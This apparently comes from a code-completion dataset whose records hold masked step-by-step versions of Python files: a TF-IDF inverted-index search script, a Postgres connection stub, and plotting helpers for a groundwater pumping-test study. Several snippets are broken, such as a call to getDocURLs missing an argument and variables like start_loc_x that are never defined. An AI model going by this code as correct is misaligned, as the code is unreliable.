open(jsonFilePath, 'r') as file:\n data = file.read()\n jsonObj = json.loads(data)\n docsDict = jsonObj['docList']\n listOfDicts.append(docsDict)\n except:\n pass\n return intersectDicts(listOfDicts)\n\n\ndef getDocURLs(intersectedDocs, indexPath, cacheURLs):\n listUrls = list()\n for docID in intersectedDocs:\n if docID in cacheURLs:\n fileUrl = cacheURLs[docID]\n listUrls.append((fileUrl, intersectedDocs[docID]))\n return listUrls\n\n\ndef intersectDicts(listOfDicts):\n if len(listOfDicts) == 1:\n return listOfDicts[0]\n intersection = {}\n for dictItem in listOfDicts:\n for doc in dictItem:\n if doc not in intersection:\n intersection[doc] = dictItem[doc]\n else:\n intersection[doc] += dictItem[doc]\n print('intersection = ', intersection)\n return intersection\n\n\ndef flaskBackendQuery(queryUser, cacheURLs):\n indexPath = GLOBALS.FINAL_INDEX\n if queryUser.strip() == '':\n print('Query needs to be at least one character')\n unsortedDocs = search(queryUser, indexPath)\n unsortedURLs = getDocURLs(unsortedDocs, indexPath, cacheURLs)\n sortedURLs = sorted(unsortedURLs, key=lambda x: x[1], reverse=True)\n return sortedURLs[0:10]\n\n\nif __name__ == '__main__':\n indexPath = 'C:\\\\1_Repos\\\\developer'\n finalIndexPath = 'C:\\\\1_Repos\\\\developer'\n query = input('Enter a search query: ')\n if query.strip() == '':\n print('Query needs to be at least one character')\n unsortedDocs = search(query, finalIndexPath)\n unsortedURLs = getDocURLs(unsortedDocs, indexPath)\n sortedURLs = sorted(unsortedURLs, key=lambda x: x[1], reverse=True)\n print(f\"\\n------------ Top 5 Docs for '{query}' ------------\\n\")\n for i, doc in enumerate(sortedURLs):\n if i > 5:\n break\n print(doc[0], ' = ', doc[1])\n print('\\n------------ DONE! ------------\\n')\n", "step-4": "from multiprocessing import Pool\nfrom pathlib import Path\nimport os\nimport re\nimport json\nimport string\nimport math\nimport GLOBALS\nstopWords = {'a', 'about', 'above', 'after', 'again', 'against', 'all',\n 'am', 'an', 'and', 'any', 'are', \"aren't\", 'as', 'at', 'be', 'because',\n 'been', 'before', 'being', 'below', 'between', 'both', 'but', 'by',\n \"can't\", 'cannot', 'could', \"couldn't\", 'did', \"didn't\", 'do', 'does',\n \"doesn't\", 'doing', \"don't\", 'down', 'during', 'each', 'few', 'for',\n 'from', 'further', 'had', \"hadn't\", 'has', \"hasn't\", 'have', \"haven't\",\n 'having', 'he', \"he'd\", \"he'll\", \"he's\", 'her', 'here', \"here's\",\n 'hers', 'herself', 'him', 'himself', 'his', 'how', \"how's\", 'i', \"i'd\",\n \"i'll\", \"i'm\", \"i've\", 'if', 'in', 'into', 'is', \"isn't\", 'it', \"it's\",\n 'its', 'itself', \"let's\", 'me', 'more', 'most', \"mustn't\", 'my',\n 'myself', 'no', 'nor', 'not', 'of', 'off', 'on', 'once', 'only', 'or',\n 'other', 'ought', 'our', 'ours', 'ourselves', 'out', 'over', 'own',\n 'same', \"shan't\", 'she', \"she'd\", \"she'll\", \"she's\", 'should',\n \"shouldn't\", 'so', 'some', 'such', 'than', 'that', \"that's\", 'the',\n 'their', 'theirs', 'them', 'themselves', 'then', 'there', \"there's\",\n 'these', 'they', \"they'd\", \"they'll\", \"they're\", \"they've\", 'this',\n 'those', 'through', 'to', 'too', 'under', 'until', 'up', 'very', 'was',\n \"wasn't\", 'we', \"we'd\", \"we'll\", \"we're\", \"we've\", 'were', \"weren't\",\n 'what', \"what's\", 'when', \"when's\", 'where', \"where's\", 'which',\n 'while', 'who', \"who's\", 'whom', 'why', \"why's\", 'with', \"won't\",\n 'would', \"wouldn't\", 'you', \"you'd\", \"you'll\", \"you're\", \"you've\",\n 'your', 'yours', 'yourself', 'yourselves'}\n\n\ndef search(query, finalIndexPath):\n listOfDicts = list()\n queryList = set()\n tempList = query.strip().lower().replace(\"'\", '').split(' ')\n for word in tempList:\n if word not in stopWords:\n queryList.add(word)\n print('Cleaned query tokens:')\n print(queryList, '\\n')\n queryList = list(queryList)\n for word in queryList:\n charPath = word[0]\n jsonFilePath = str(Path(finalIndexPath) / charPath / word) + '.json'\n try:\n with open(jsonFilePath, 'r') as file:\n data = file.read()\n jsonObj = json.loads(data)\n docsDict = jsonObj['docList']\n listOfDicts.append(docsDict)\n except:\n pass\n return intersectDicts(listOfDicts)\n\n\ndef getDocURLs(intersectedDocs, indexPath, cacheURLs):\n listUrls = list()\n for docID in intersectedDocs:\n if docID in cacheURLs:\n fileUrl = cacheURLs[docID]\n listUrls.append((fileUrl, intersectedDocs[docID]))\n return listUrls\n\n\ndef intersectDicts(listOfDicts):\n if len(listOfDicts) == 1:\n return listOfDicts[0]\n intersection = {}\n for dictItem in listOfDicts:\n for doc in dictItem:\n if doc not in intersection:\n intersection[doc] = dictItem[doc]\n else:\n intersection[doc] += dictItem[doc]\n print('intersection = ', intersection)\n return intersection\n\n\ndef flaskBackendQuery(queryUser, cacheURLs):\n indexPath = GLOBALS.FINAL_INDEX\n if queryUser.strip() == '':\n print('Query needs to be at least one character')\n unsortedDocs = search(queryUser, indexPath)\n unsortedURLs = getDocURLs(unsortedDocs, indexPath, cacheURLs)\n sortedURLs = sorted(unsortedURLs, key=lambda x: x[1], reverse=True)\n return sortedURLs[0:10]\n\n\nif __name__ == '__main__':\n indexPath = 'C:\\\\1_Repos\\\\developer'\n finalIndexPath = 'C:\\\\1_Repos\\\\developer'\n query = input('Enter a search query: ')\n if query.strip() == '':\n print('Query needs to be at least one character')\n unsortedDocs = search(query, finalIndexPath)\n unsortedURLs = getDocURLs(unsortedDocs, indexPath)\n sortedURLs = sorted(unsortedURLs, key=lambda x: x[1], reverse=True)\n print(f\"\\n------------ Top 5 Docs for '{query}' ------------\\n\")\n for i, doc in enumerate(sortedURLs):\n if i > 5:\n break\n print(doc[0], ' = ', doc[1])\n print('\\n------------ DONE! ------------\\n')\n", "step-5": "from multiprocessing import Pool\nfrom pathlib import Path\nimport os\nimport re\nimport json\nimport string\nimport math\nimport GLOBALS\n\nstopWords = {\"a\", \"about\", \"above\", \"after\", \"again\", \"against\", \"all\", \"am\", \"an\", \"and\", \"any\", \"are\", \"aren't\",\n \"as\", \"at\", \"be\", \"because\", \"been\", \"before\", \"being\", \"below\", \"between\", \"both\", \"but\", \"by\",\n \"can't\",\n \"cannot\", \"could\", \"couldn't\", \"did\", \"didn't\", \"do\", \"does\", \"doesn't\", \"doing\", \"don't\", \"down\",\n \"during\",\n \"each\", \"few\", \"for\", \"from\", \"further\", \"had\", \"hadn't\", \"has\", \"hasn't\", \"have\", \"haven't\", \"having\",\n \"he\", \"he'd\",\n \"he'll\", \"he's\", \"her\", \"here\", \"here's\", \"hers\", \"herself\", \"him\", \"himself\", \"his\", \"how\", \"how's\",\n \"i\", \"i'd\", \"i'll\",\n \"i'm\", \"i've\", \"if\", \"in\", \"into\", \"is\", \"isn't\", \"it\", \"it's\", \"its\", \"itself\", \"let's\", \"me\", \"more\",\n \"most\", \"mustn't\", \"my\",\n \"myself\", \"no\", \"nor\", \"not\", \"of\", \"off\", \"on\", \"once\", \"only\", \"or\", \"other\", \"ought\", \"our\", \"ours\",\n \"ourselves\", \"out\", \"over\",\n \"own\", \"same\", \"shan't\", \"she\", \"she'd\", \"she'll\", \"she's\", \"should\", \"shouldn't\", \"so\", \"some\",\n \"such\", \"than\", \"that\", \"that's\",\n \"the\", \"their\", \"theirs\", \"them\", \"themselves\", \"then\", \"there\", \"there's\", \"these\", \"they\", \"they'd\",\n \"they'll\", \"they're\", \"they've\",\n \"this\", \"those\", \"through\", \"to\", \"too\", \"under\", \"until\", \"up\", \"very\", \"was\", \"wasn't\", \"we\", \"we'd\",\n \"we'll\", \"we're\", \"we've\", \"were\", \"weren't\",\n \"what\", \"what's\", \"when\", \"when's\", \"where\", \"where's\", \"which\", \"while\", \"who\", \"who's\", \"whom\",\n \"why\", \"why's\", \"with\", \"won't\", \"would\", \"wouldn't\",\n \"you\", \"you'd\", \"you'll\", \"you're\", \"you've\", \"your\", \"yours\", \"yourself\", \"yourselves\"}\n\n\n\n# Main Functions (aka functions called in __main__)\n\n# Takes in query as str. Returns list of docs that match the OR query (inclusive)\ndef search(query, finalIndexPath):\n listOfDicts = list()\n queryList = set() # We use set() to remove duplicate terms, and we won't have to open a file twice\n tempList = query.strip().lower().replace(\"'\", \"\").split(\" \")\n\n for word in tempList:\n if word not in stopWords:\n queryList.add(word)\n\n print(\"Cleaned query tokens:\")\n print(queryList, \"\\n\") # query tokens with stopwords removed and replacing apostrohe and lower()\n\n #convert set to list to enumerate\n queryList = list(queryList)\n\n for word in queryList:\n charPath = word[0] #Get 1st char of current word, use to find subdir\n\n # Get the file path of the final_indexed token.json file\n jsonFilePath = str(Path(finalIndexPath) / charPath / word) + \".json\"\n\n try:\n with open(jsonFilePath, \"r\") as file:\n data = file.read()\n jsonObj = json.loads(data)\n docsDict = jsonObj[\"docList\"]\n listOfDicts.append(docsDict)\n except:\n pass\n\n return intersectDicts(listOfDicts)\n\n\ndef getDocURLs(intersectedDocs, indexPath, cacheURLs):\n listUrls = list() # holds unique file paths of .json files\n #\n # hashTablePath = Path(indexPath) / \"hashurls.txt\"\n # with open(hashTablePath, \"r\") as file:\n # data = file.read()\n # hashSet = json.loads(data)\n\n for docID in intersectedDocs:\n if(docID in cacheURLs):\n fileUrl = cacheURLs[docID]\n listUrls.append( (fileUrl, intersectedDocs[docID]) )\n\n return listUrls\n\n\n\n# Helper Functions (aka functions called by other functions)\n\n# Returns unique dict of file urls from hashurl.txt (or hasthtable.txt)\ndef intersectDicts(listOfDicts):\n if len(listOfDicts) == 1:\n return listOfDicts[0]\n\n intersection = {}\n for dictItem in listOfDicts:\n for doc in dictItem:\n if doc not in intersection:\n intersection[doc] = dictItem[doc] #\n else:\n intersection[doc] += dictItem[doc] #adding tfidf weights\n print(\"intersection = \", intersection)\n return intersection\n\n\ndef flaskBackendQuery(queryUser, cacheURLs):\n indexPath = GLOBALS.FINAL_INDEX\n\n if (queryUser.strip() == \"\"):\n print(\"Query needs to be at least one character\")\n\n unsortedDocs = search(queryUser, indexPath) #list of dictionaries\n\n # Change filepaths to website URLs for displaying\n unsortedURLs = getDocURLs(unsortedDocs, indexPath, cacheURLs)\n\n # Sort docs by the TF-IDF score\n sortedURLs = sorted(unsortedURLs, key=lambda x: x[1], reverse=True) #highest scores shown first\n\n return sortedURLs[0:10] #return 10 results\n\n\nif __name__ == '__main__':\n #####\n # Aljon\n # finalIndexPath = \"C:\\\\Users\\\\aljon\\\\Documents\\\\CS_121\\\\Assignment_3\\\\CS121_InvertedIndex\\\\final_index\"\n # indexPath = \"C:\\\\Users\\\\aljon\\\\Documents\\\\CS_121\\\\Assignment_3\\\\CS121_InvertedIndex\\\\index\"\n\n # William\n # folderPath = \"C:\\\\1_Repos\\\\developer\\\\partial_indexes\"\n # folderPath = \"C:\\\\Anaconda3\\\\envs\\\\Projects\\\\developer\\\\partial_indexes\"\n indexPath = \"C:\\\\1_Repos\\\\developer\"\n finalIndexPath = \"C:\\\\1_Repos\\\\developer\"\n\n # Jerome\n #folderPath = \"C:\\\\Users\\\\arkse\\\\Desktop\\\\CS121_InvertedIndex\\\\DEV\"\n\n # Art\n # windows\n #folderPath = \"C:\\\\Users\\\\aghar\\\\Downloads\\\\DEV\"\n # linux\n #folderPath = \"/home/anon/Downloads/DEV\"\n #####\n\n\n # Get query from user\n query = input(\"Enter a search query: \")\n if(query.strip() == \"\"):\n print(\"Query needs to be at least one character\")\n # Fetch all results of query, intersect them to follow Bool-AND logic\n unsortedDocs = search(query, finalIndexPath)\n\n # Change filepaths to website URLs for displaying\n unsortedURLs = getDocURLs(unsortedDocs, indexPath)\n\n # Sort docs by the TF-IDF score\n sortedURLs = sorted(unsortedURLs, key=lambda x: x[1], reverse=True)\n \n # Print top 5 ranked file-urls for given query\n print(f\"\\n------------ Top 5 Docs for '{query}' ------------\\n\")\n for i, doc in enumerate(sortedURLs):\n if (i > 5):\n break\n print(doc[0], \" = \", doc[1])\n\n print(\"\\n------------ DONE! ------------\\n\")\n", "step-ids": [ 4, 5, 6, 7, 8 ] }
[ 4, 5, 6, 7, 8 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> print(db) <|reserved_special_token_1|> <|reserved_special_token_0|> db = Postgresdb() print(db) <|reserved_special_token_1|> from core import Postgresdb db = Postgresdb() print(db)
flexible
{ "blob_id": "962a9781e4f2ad787dd695896b6455c9b336603a", "index": 7178, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint(db)\n", "step-3": "<mask token>\ndb = Postgresdb()\nprint(db)\n", "step-4": "from core import Postgresdb\ndb = Postgresdb()\nprint(db)\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
# Author: Lijing Wang (lijing52@stanford.edu), 2021 import numpy as np import pandas as pd import gstools as gs import matplotlib.pyplot as plt from matplotlib import patches import seaborn as sns plt.rcParams.update({'font.size': 15}) import os path = os.path.dirname(os.getcwd()) subpath = '/examples/case2_nonlinear_forward_pumping_test/' num_prior_sample = 5000 num_x = 100 num_y = 100 def print_theta(theta, name = 'theta'): theta_pd = pd.DataFrame(theta.reshape(1,-1), index = [name], columns = ['mean','variance','max_range','min_range','anisotropy','head_west']) print(theta_pd) def visualize_d_2D(d): num_block = 3 d_vis = np.zeros(num_m) d_vis[:] = np.nan for i in range(num_block*num_block*2): d_vis[np.where(G[i,:]>0)[0]] = d[i] d_vis = d_vis.reshape(num_x,num_y) return d_vis def visualize_one_d(d): plt.plot(np.arange(70)/10, d.reshape(70,1)[:,0],label = 'pumping well') plt.xlabel('Days') plt.ylabel('Head') plt.legend() def visualize_one_m(m, vmin = -4, vmax = 0, cmap = 'viridis',title = 'True spatial field, m'): fig, ax = plt.subplots(figsize = [6,6]) m_show = ax.imshow(m.T, origin = 'lower', cmap = cmap, vmin = vmin, vmax = vmax) ax.set_xticks([]) ax.set_yticks([]) if title: ax.set_title(title,fontsize = 13) well_location = [49,49] direct_data_loc = [30,70] ax.scatter(well_location[0],well_location[1],s = 100, color = 'black', label = 'indirect pumping well') ax.scatter(direct_data_loc[0],direct_data_loc[1],s = 100, color = 'red', label = 'direct logK') ax.legend() fig.colorbar(m_show, ax = ax, shrink = 0.6) def print_theta_multiple(theta, name = 'theta',head = 8): theta_pd = pd.DataFrame(theta, index = ['theta_'+str(i) for i in np.arange(1,theta.shape[0]+1)], columns = ['mean','variance','max_range','min_range','anisotropy','head_west']) print(theta_pd.head(head)) def visualize_multiple_m(m, head = 4, vmin = -4, vmax = 0, cmap = 'viridis', theta = None): plt.figure(figsize = [20,8]) for i in np.arange(head): ax = plt.subplot(1, 4, i+1) ax.imshow(m[i,:,:].T, origin = 'lower', cmap = cmap, vmin = vmin, vmax = vmax) ax.set_xticks([]) ax.set_yticks([]) well_location = [49,49] direct_data_loc = [30,70] ax.scatter(well_location[0],well_location[1],s = 50, color = 'black', label = 'pumping well') ax.scatter(direct_data_loc[0],direct_data_loc[1],s = 50, color = 'red', label = 'direct logK') if theta is not None: ax.set_title('\u03B8 = '+str(tuple(np.round(theta[i,:],1)))) def visualize_multiple_pc(m, PCA, head = 8, vmin = -4, vmax = 0, cmap = 'viridis',rect = False): plt.figure(figsize = [25,10]) for i in np.arange(head): ax = plt.subplot(1, 10, i+1) ax.imshow(m[i,:].reshape(num_x,num_y).T, origin = 'lower', cmap = cmap, vmin = vmin, vmax = vmax) if rect: rect = patches.Rectangle((32,32),36, 36, linewidth=2,linestyle = 'dashed', edgecolor='black',facecolor='None') ax.add_patch(rect) ax.set_xticks([]) ax.set_yticks([]) ax.set_title('PCA '+str(i+1)+': '+str(np.int(PCA['explained_variance'][i]*100))+'%') def visualize_multiple_d(d, head = 4): plt.figure(figsize = [25,3]) for i in np.arange(head): ax = plt.subplot(1, 4, i+1) ax.plot(np.arange(70)/10, d[:,i].reshape(70,1)[:,0],label = 'pumping well') #ax.plot(np.arange(70)/10, d[:,i].reshape(70,5)[:,1],label = 'obs well: SW') #ax.plot(np.arange(70)/10, d[:,i].reshape(70,5)[:,2],label = 'obs well: NE') ##ax.plot(np.arange(70)/10, d[:,i].reshape(70,5)[:,3],label = 'obs well: NW') #ax.plot(np.arange(70)/10, d[:,i].reshape(70,5)[:,4],label = 'obs well: SE') ax.set_xlabel('Days') ax.set_ylabel('Head') #ax.legend() def colors_from_values(values, palette_name): # normalize the values to range [0, 1] normalized = (values - min(values)) / (max(values) - min(values)) # convert to indices indices = np.round(normalized * (len(values) - 1)).astype(np.int32) # use the indices to get the colors palette = sns.color_palette(palette_name, len(values)) return np.array(palette).take(indices, axis=0) def visualize_mean_var(mu, covariance, vmin = 20, vmax = 40, cmap = 'viridis'): var = np.diag(covariance) plt.figure(figsize = [18,4]) ax = plt.subplot(2, 4, 1) ax.imshow(mu.reshape(num_x,num_y).T, origin = 'lower', cmap = cmap, vmin = vmin, vmax = vmax) rect = patches.Rectangle((start_loc_x,start_loc_y),num_grid, num_grid, linewidth=2,linestyle = 'dashed', edgecolor='black',facecolor='None', label = 'pilot area') ax.add_patch(rect) rect = patches.Rectangle((start_loc_x+num_grid*2,start_loc_y),num_grid,num_grid, linewidth=2,linestyle = 'dashed', edgecolor='black',facecolor='None', label = 'pilot area') ax.add_patch(rect) ax.set_xticks([]) ax.set_yticks([]) ax = plt.subplot(2, 4, 2) ax.imshow(var.reshape(num_x,num_y).T, origin = 'lower', cmap = cmap, vmin = 0, vmax = 16) rect = patches.Rectangle((start_loc_x,start_loc_y),num_grid, num_grid, linewidth=2,linestyle = 'dashed', edgecolor='black',facecolor='None', label = 'pilot area') ax.add_patch(rect) rect = patches.Rectangle((start_loc_x+num_grid*2,start_loc_y),num_grid,num_grid, linewidth=2,linestyle = 'dashed', edgecolor='black',facecolor='None', label = 'pilot area') ax.add_patch(rect) ax.set_xticks([]) ax.set_yticks([]) def visualize_mean_var_MC(m, start_loc, num_grid,vmin = -3, vmax = 1,vmin_var = 0, vmax_var = 0.2, cmap = 'viridis', rect = False): mu = np.mean(m,axis = 0) var = np.var(m,axis = 0) plt.figure(figsize = [10,4]) ax = plt.subplot(1, 2, 1) ax.imshow(mu.reshape(num_x,num_y).T, origin = 'lower', cmap = cmap, vmin = vmin, vmax = vmax) if rect: rect = patches.Rectangle((start_loc,start_loc),num_grid, num_grid, linewidth=2,linestyle = 'dashed', edgecolor='black',facecolor='None', label = 'pilot area') ax.add_patch(rect) ax.set_xticks([]) ax.set_yticks([]) well_location = [49,49] ax.scatter(well_location[0],well_location[1],s = 20, color = 'black', label = 'pumping well') direct_data_loc = [30,70] ax.scatter(direct_data_loc[0],direct_data_loc[1],s = 50, color = 'red', label = 'direct logK') ax = plt.subplot(1, 2, 2) ax.imshow(var.reshape(num_x,num_y).T, origin = 'lower', cmap = 'magma', vmin = vmin_var, vmax = vmax_var) if rect: rect = patches.Rectangle((start_loc,start_loc),num_grid, num_grid, linewidth=2,linestyle = 'dashed', edgecolor='black',facecolor='None', label = 'pilot area') ax.add_patch(rect) ax.set_xticks([]) ax.set_yticks([]) def visualize_ensemble_d(d,d_obs,ymin = None,ymax = 11.5): plt.plot(np.arange(70)/10, d,color = 'C0') plt.plot(np.arange(70)/10, d_obs,color = 'C1',linewidth = 2,label = 'observed data') plt.xlabel('Days') plt.ylabel('Head') plt.legend() plt.ylim(ymin,ymax) # Visualization: updating theta def pos_pairplot(theta_pos, theta_name): sns.pairplot(pd.DataFrame(theta_pos.T,columns = theta_name),kind="hist") def prior_pos_theta(theta, theta_pos, theta_true, theta_name): num_theta = theta.shape[1] plt.figure(figsize=[25,10]) for i in np.arange(num_theta): ax = plt.subplot(2, 3, i+1) ax.hist(theta[:,i],density=True, bins = 1,label = 'prior',alpha = 0.7) y_, _, _ = ax.hist(theta_pos[i,:],density=True, bins = 20,label = 'posterior',alpha = 0.7) ax.vlines(x = theta_true[i], ymin = 0, ymax = np.max(y_),linestyles='--',label = 'true',color = 'black') ax.legend() ax.set_title(theta_name[i]) ax.set_ylabel('pdf') def ML_dimension_reduction_vis(pred_train, y_train, pred_test, y_test, S_d_obs, theta_name): fig = plt.figure(figsize=[24,10]) num_theta = len(theta_name) for i in np.arange(num_theta): ax = plt.subplot(2, 3, i+1) ax.plot(pred_train[:,i], y_train[:,i],'.',label = 'train') ax.plot(pred_test[:,i], y_test[:,i],'.',label = 'test') ax.vlines(x = S_d_obs[0,i],ymin = -1, ymax = 1, linestyles='--',color = 'black',zorder = 100) ax.plot([-1.2,1.2],[-1.2,1.2]) ax.legend() ax.set_xlabel('S(d_'+str(i+1)+')') ax.set_ylabel(theta_name[i]+'_rescaled') ax.set_xlim(-1.2,1.2) ax.set_ylim(-1.2,1.2) def history_plot(history): # summarize history for loss plt.plot(history.history['loss']) plt.plot(history.history['val_loss']) plt.title('model loss') plt.ylabel('loss') plt.xlabel('epoch') plt.legend(['train', 'validation'], loc='upper left') plt.show()
normal
{ "blob_id": "09fb99a15c2727da2ef96028aca5513337449f62", "index": 3772, "step-1": "<mask token>\n\n\ndef print_theta(theta, name='theta'):\n theta_pd = pd.DataFrame(theta.reshape(1, -1), index=[name], columns=[\n 'mean', 'variance', 'max_range', 'min_range', 'anisotropy',\n 'head_west'])\n print(theta_pd)\n\n\n<mask token>\n\n\ndef visualize_one_m(m, vmin=-4, vmax=0, cmap='viridis', title=\n 'True spatial field, m'):\n fig, ax = plt.subplots(figsize=[6, 6])\n m_show = ax.imshow(m.T, origin='lower', cmap=cmap, vmin=vmin, vmax=vmax)\n ax.set_xticks([])\n ax.set_yticks([])\n if title:\n ax.set_title(title, fontsize=13)\n well_location = [49, 49]\n direct_data_loc = [30, 70]\n ax.scatter(well_location[0], well_location[1], s=100, color='black',\n label='indirect pumping well')\n ax.scatter(direct_data_loc[0], direct_data_loc[1], s=100, color='red',\n label='direct logK')\n ax.legend()\n fig.colorbar(m_show, ax=ax, shrink=0.6)\n\n\n<mask token>\n\n\ndef visualize_multiple_m(m, head=4, vmin=-4, vmax=0, cmap='viridis', theta=None\n ):\n plt.figure(figsize=[20, 8])\n for i in np.arange(head):\n ax = plt.subplot(1, 4, i + 1)\n ax.imshow(m[i, :, :].T, origin='lower', cmap=cmap, vmin=vmin, vmax=vmax\n )\n ax.set_xticks([])\n ax.set_yticks([])\n well_location = [49, 49]\n direct_data_loc = [30, 70]\n ax.scatter(well_location[0], well_location[1], s=50, color='black',\n label='pumping well')\n ax.scatter(direct_data_loc[0], direct_data_loc[1], s=50, color=\n 'red', label='direct logK')\n if theta is not None:\n ax.set_title('θ = ' + str(tuple(np.round(theta[i, :], 1))))\n\n\n<mask token>\n\n\ndef visualize_multiple_d(d, head=4):\n plt.figure(figsize=[25, 3])\n for i in np.arange(head):\n ax = plt.subplot(1, 4, i + 1)\n ax.plot(np.arange(70) / 10, d[:, i].reshape(70, 1)[:, 0], label=\n 'pumping well')\n ax.set_xlabel('Days')\n ax.set_ylabel('Head')\n\n\ndef colors_from_values(values, palette_name):\n normalized = (values - min(values)) / (max(values) - min(values))\n indices = np.round(normalized * (len(values) - 1)).astype(np.int32)\n palette = sns.color_palette(palette_name, len(values))\n return np.array(palette).take(indices, axis=0)\n\n\ndef visualize_mean_var(mu, covariance, vmin=20, vmax=40, cmap='viridis'):\n var = np.diag(covariance)\n plt.figure(figsize=[18, 4])\n ax = plt.subplot(2, 4, 1)\n ax.imshow(mu.reshape(num_x, num_y).T, origin='lower', cmap=cmap, vmin=\n vmin, vmax=vmax)\n rect = patches.Rectangle((start_loc_x, start_loc_y), num_grid, num_grid,\n linewidth=2, linestyle='dashed', edgecolor='black', facecolor=\n 'None', label='pilot area')\n ax.add_patch(rect)\n rect = patches.Rectangle((start_loc_x + num_grid * 2, start_loc_y),\n num_grid, num_grid, linewidth=2, linestyle='dashed', edgecolor=\n 'black', facecolor='None', label='pilot area')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n ax = plt.subplot(2, 4, 2)\n ax.imshow(var.reshape(num_x, num_y).T, origin='lower', cmap=cmap, vmin=\n 0, vmax=16)\n rect = patches.Rectangle((start_loc_x, start_loc_y), num_grid, num_grid,\n linewidth=2, linestyle='dashed', edgecolor='black', facecolor=\n 'None', label='pilot area')\n ax.add_patch(rect)\n rect = patches.Rectangle((start_loc_x + num_grid * 2, start_loc_y),\n num_grid, num_grid, linewidth=2, linestyle='dashed', edgecolor=\n 'black', facecolor='None', label='pilot area')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n\n\n<mask token>\n\n\ndef visualize_ensemble_d(d, d_obs, ymin=None, ymax=11.5):\n plt.plot(np.arange(70) / 10, d, color='C0')\n plt.plot(np.arange(70) / 10, d_obs, color='C1', linewidth=2, label=\n 'observed data')\n plt.xlabel('Days')\n plt.ylabel('Head')\n plt.legend()\n plt.ylim(ymin, ymax)\n\n\ndef pos_pairplot(theta_pos, theta_name):\n sns.pairplot(pd.DataFrame(theta_pos.T, columns=theta_name), kind='hist')\n\n\ndef prior_pos_theta(theta, theta_pos, theta_true, theta_name):\n num_theta = theta.shape[1]\n plt.figure(figsize=[25, 10])\n for i in np.arange(num_theta):\n ax = plt.subplot(2, 3, i + 1)\n ax.hist(theta[:, i], density=True, bins=1, label='prior', alpha=0.7)\n y_, _, _ = ax.hist(theta_pos[i, :], density=True, bins=20, label=\n 'posterior', alpha=0.7)\n ax.vlines(x=theta_true[i], ymin=0, ymax=np.max(y_), linestyles='--',\n label='true', color='black')\n ax.legend()\n ax.set_title(theta_name[i])\n ax.set_ylabel('pdf')\n\n\ndef ML_dimension_reduction_vis(pred_train, y_train, pred_test, y_test,\n S_d_obs, theta_name):\n fig = plt.figure(figsize=[24, 10])\n num_theta = len(theta_name)\n for i in np.arange(num_theta):\n ax = plt.subplot(2, 3, i + 1)\n ax.plot(pred_train[:, i], y_train[:, i], '.', label='train')\n ax.plot(pred_test[:, i], y_test[:, i], '.', label='test')\n ax.vlines(x=S_d_obs[0, i], ymin=-1, ymax=1, linestyles='--', color=\n 'black', zorder=100)\n ax.plot([-1.2, 1.2], [-1.2, 1.2])\n ax.legend()\n ax.set_xlabel('S(d_' + str(i + 1) + ')')\n ax.set_ylabel(theta_name[i] + '_rescaled')\n ax.set_xlim(-1.2, 1.2)\n ax.set_ylim(-1.2, 1.2)\n\n\ndef history_plot(history):\n plt.plot(history.history['loss'])\n plt.plot(history.history['val_loss'])\n plt.title('model loss')\n plt.ylabel('loss')\n plt.xlabel('epoch')\n plt.legend(['train', 'validation'], loc='upper left')\n plt.show()\n", "step-2": "<mask token>\n\n\ndef print_theta(theta, name='theta'):\n theta_pd = pd.DataFrame(theta.reshape(1, -1), index=[name], columns=[\n 'mean', 'variance', 'max_range', 'min_range', 'anisotropy',\n 'head_west'])\n print(theta_pd)\n\n\ndef visualize_d_2D(d):\n num_block = 3\n d_vis = np.zeros(num_m)\n d_vis[:] = np.nan\n for i in range(num_block * num_block * 2):\n d_vis[np.where(G[i, :] > 0)[0]] = d[i]\n d_vis = d_vis.reshape(num_x, num_y)\n return d_vis\n\n\n<mask token>\n\n\ndef visualize_one_m(m, vmin=-4, vmax=0, cmap='viridis', title=\n 'True spatial field, m'):\n fig, ax = plt.subplots(figsize=[6, 6])\n m_show = ax.imshow(m.T, origin='lower', cmap=cmap, vmin=vmin, vmax=vmax)\n ax.set_xticks([])\n ax.set_yticks([])\n if title:\n ax.set_title(title, fontsize=13)\n well_location = [49, 49]\n direct_data_loc = [30, 70]\n ax.scatter(well_location[0], well_location[1], s=100, color='black',\n label='indirect pumping well')\n ax.scatter(direct_data_loc[0], direct_data_loc[1], s=100, color='red',\n label='direct logK')\n ax.legend()\n fig.colorbar(m_show, ax=ax, shrink=0.6)\n\n\n<mask token>\n\n\ndef visualize_multiple_m(m, head=4, vmin=-4, vmax=0, cmap='viridis', theta=None\n ):\n plt.figure(figsize=[20, 8])\n for i in np.arange(head):\n ax = plt.subplot(1, 4, i + 1)\n ax.imshow(m[i, :, :].T, origin='lower', cmap=cmap, vmin=vmin, vmax=vmax\n )\n ax.set_xticks([])\n ax.set_yticks([])\n well_location = [49, 49]\n direct_data_loc = [30, 70]\n ax.scatter(well_location[0], well_location[1], s=50, color='black',\n label='pumping well')\n ax.scatter(direct_data_loc[0], direct_data_loc[1], s=50, color=\n 'red', label='direct logK')\n if theta is not None:\n ax.set_title('θ = ' + str(tuple(np.round(theta[i, :], 1))))\n\n\n<mask token>\n\n\ndef visualize_multiple_d(d, head=4):\n plt.figure(figsize=[25, 3])\n for i in np.arange(head):\n ax = plt.subplot(1, 4, i + 1)\n ax.plot(np.arange(70) / 10, d[:, i].reshape(70, 1)[:, 0], label=\n 'pumping well')\n ax.set_xlabel('Days')\n ax.set_ylabel('Head')\n\n\ndef colors_from_values(values, palette_name):\n normalized = (values - min(values)) / (max(values) - min(values))\n indices = np.round(normalized * (len(values) - 1)).astype(np.int32)\n palette = sns.color_palette(palette_name, len(values))\n return np.array(palette).take(indices, axis=0)\n\n\ndef visualize_mean_var(mu, covariance, vmin=20, vmax=40, cmap='viridis'):\n var = np.diag(covariance)\n plt.figure(figsize=[18, 4])\n ax = plt.subplot(2, 4, 1)\n ax.imshow(mu.reshape(num_x, num_y).T, origin='lower', cmap=cmap, vmin=\n vmin, vmax=vmax)\n rect = patches.Rectangle((start_loc_x, start_loc_y), num_grid, num_grid,\n linewidth=2, linestyle='dashed', edgecolor='black', facecolor=\n 'None', label='pilot area')\n ax.add_patch(rect)\n rect = patches.Rectangle((start_loc_x + num_grid * 2, start_loc_y),\n num_grid, num_grid, linewidth=2, linestyle='dashed', edgecolor=\n 'black', facecolor='None', label='pilot area')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n 